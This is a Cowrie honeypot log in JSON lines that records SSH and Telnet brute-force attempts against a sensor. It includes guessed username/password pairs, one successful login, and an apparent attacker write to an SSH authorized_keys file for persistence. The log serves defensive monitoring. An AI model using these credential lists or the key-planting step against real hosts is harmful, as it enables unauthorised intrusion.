{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:54.134902Z","src_ip":"78.83.249.54","session":"f9f13141f0a3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:54.139093Z","src_ip":"78.83.249.54","session":"f9f13141f0a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.83.249.54","src_port":49460,"dst_ip":"159.203.135.109","dst_port":22,"session":"da3b9900e9dd","protocol":"ssh","message":"New connection: 78.83.249.54:49460 (159.203.135.109:22) [session: da3b9900e9dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:54.253729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:54.258183Z","src_ip":"78.83.249.54","session":"da3b9900e9dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:54.379917Z","src_ip":"78.83.249.54","session":"da3b9900e9dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:54.891397Z","src_ip":"78.83.249.54","session":"da3b9900e9dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:56.015898Z","src_ip":"78.83.249.54","session":"da3b9900e9dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.83.249.54","src_port":50084,"dst_ip":"159.203.135.109","dst_port":22,"session":"84ff0a7cb44a","protocol":"ssh","message":"New connection: 78.83.249.54:50084 (159.203.135.109:22) [session: 84ff0a7cb44a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:56.124376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:56.129287Z","src_ip":"78.83.249.54","session":"84ff0a7cb44a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:56.285757Z","src_ip":"78.83.249.54","session":"84ff0a7cb44a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:56.740559Z","src_ip":"78.83.249.54","session":"84ff0a7cb44a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:56.861306Z","src_ip":"78.83.249.54","session":"84ff0a7cb44a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:56.866042Z","src_ip":"78.83.249.54","session":"f9f13141f0a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.53222680091858,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:58.285671Z","src_ip":"68.178.168.57","session":"44adb79ca09a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58960485458374,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:59.186500Z","src_ip":"68.178.168.57","session":"4ac3f83e87f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.163.156","src_port":36496,"dst_ip":"10.17.0.5","dst_port":22,"session":"2de0b6cad2c0","protocol":"ssh","message":"New connection: 64.89.163.156:36496 (10.17.0.5:22) [session: 2de0b6cad2c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:08:02.667771Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:08:02.757191Z","src_ip":"64.89.163.156","session":"2de0b6cad2c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.163.156","src_port":36506,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd6961758a01","protocol":"ssh","message":"New connection: 64.89.163.156:36506 (10.17.0.5:22) [session: fd6961758a01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:08:02.849408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:08:02.854531Z","src_ip":"64.89.163.156","session":"fd6961758a01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:08:02.945566Z","src_ip":"64.89.163.156","session":"fd6961758a01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"clz","password":"1qaz@WSX","message":"login attempt [clz/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:08:03.207736Z","src_ip":"64.89.163.156","session":"fd6961758a01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:08:04.297830Z","src_ip":"64.89.163.156","session":"fd6961758a01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":36552,"dst_ip":"10.17.0.5","dst_port":22,"session":"475a486cbf9b","protocol":"ssh","message":"New connection: 103.15.226.202:36552 (10.17.0.5:22) [session: 475a486cbf9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:08:08.415185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:08:08.419581Z","src_ip":"103.15.226.202","session":"475a486cbf9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:08:08.676446Z","src_ip":"103.15.226.202","session":"475a486cbf9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Lenovo123","message":"login attempt [root/Lenovo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:08:09.450084Z","src_ip":"103.15.226.202","session":"475a486cbf9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:08:10.711411Z","src_ip":"103.15.226.202","session":"475a486cbf9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56040,"dst_ip":"159.203.135.109","dst_port":23,"session":"976d4047db1d","protocol":"telnet","message":"New connection: 128.199.8.54:56040 (159.203.135.109:23) [session: 976d4047db1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:08:12.607528Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.168.57","src_port":56210,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7a0a75a420f","protocol":"telnet","message":"New connection: 68.178.168.57:56210 (10.17.0.5:23) [session: d7a0a75a420f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:08:16.664812Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46296,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1e9c8b0d762","protocol":"telnet","message":"New connection: 128.199.8.54:46296 (159.203.135.109:23) [session: b1e9c8b0d762]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:08:18.005672Z"}
{"eventid":"cowrie.session.closed","duration":30.621021509170532,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:08:22.165909Z","src_ip":"68.178.168.57","session":"e73b63851fc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.168.57","src_port":33028,"dst_ip":"10.17.0.5","dst_port":23,"session":"b53bfeb0e414","protocol":"telnet","message":"New connection: 68.178.168.57:33028 (10.17.0.5:23) [session: b53bfeb0e414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:08:30.851330Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":7260,"dst_ip":"10.17.0.5","dst_port":23,"session":"230cc2b5f30b","protocol":"telnet","message":"New connection: 212.55.149.117:7260 (10.17.0.5:23) [session: 230cc2b5f30b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:08:34.888496Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":51420,"dst_ip":"159.203.135.109","dst_port":22,"session":"66a7ed2e372c","protocol":"ssh","message":"New connection: 80.94.92.186:51420 (159.203.135.109:22) [session: 66a7ed2e372c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:08:35.022367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:08:35.185581Z","src_ip":"80.94.92.186","session":"66a7ed2e372c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:08:35.189941Z","src_ip":"80.94.92.186","session":"66a7ed2e372c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz2wsx","message":"login attempt [ubuntu/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:08:36.339236Z","src_ip":"80.94.92.186","session":"66a7ed2e372c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:08:37.643593Z","src_ip":"80.94.92.186","session":"66a7ed2e372c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.83.249.54","src_port":37548,"dst_ip":"159.203.135.109","dst_port":22,"session":"40356737c704","protocol":"ssh","message":"New connection: 78.83.249.54:37548 (159.203.135.109:22) [session: 40356737c704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:08:41.012260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:08:41.021912Z","src_ip":"78.83.249.54","session":"40356737c704","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:08:41.143711Z","src_ip":"78.83.249.54","session":"40356737c704","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1111111111","message":"login attempt [test/1111111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:08:41.658944Z","src_ip":"78.83.249.54","session":"40356737c704","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:08:42.782161Z","src_ip":"78.83.249.54","session":"40356737c704","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.82290434837341,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:08:46.430329Z","src_ip":"128.199.8.54","session":"976d4047db1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.832637310028076,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:08:47.497351Z","src_ip":"68.178.168.57","session":"d7a0a75a420f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":9426,"dst_ip":"10.17.0.5","dst_port":23,"session":"599262dc5da8","protocol":"telnet","message":"New connection: 212.55.149.117:9426 (10.17.0.5:23) [session: 599262dc5da8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:08:49.398226Z"}
{"eventid":"cowrie.session.closed","duration":33.60469603538513,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:08:51.610244Z","src_ip":"128.199.8.54","session":"b1e9c8b0d762","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.780972957611084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:09:01.632244Z","src_ip":"68.178.168.57","session":"b53bfeb0e414","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51426,"dst_ip":"159.203.135.109","dst_port":23,"session":"c625cec582db","protocol":"telnet","message":"New connection: 128.199.8.54:51426 (159.203.135.109:23) [session: c625cec582db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:09:19.137133Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.83.249.54","src_port":54468,"dst_ip":"159.203.135.109","dst_port":22,"session":"460f33629efa","protocol":"ssh","message":"New connection: 78.83.249.54:54468 (159.203.135.109:22) [session: 460f33629efa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:09:33.606476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:09:33.613544Z","src_ip":"78.83.249.54","session":"460f33629efa","protocol":"ssh"}
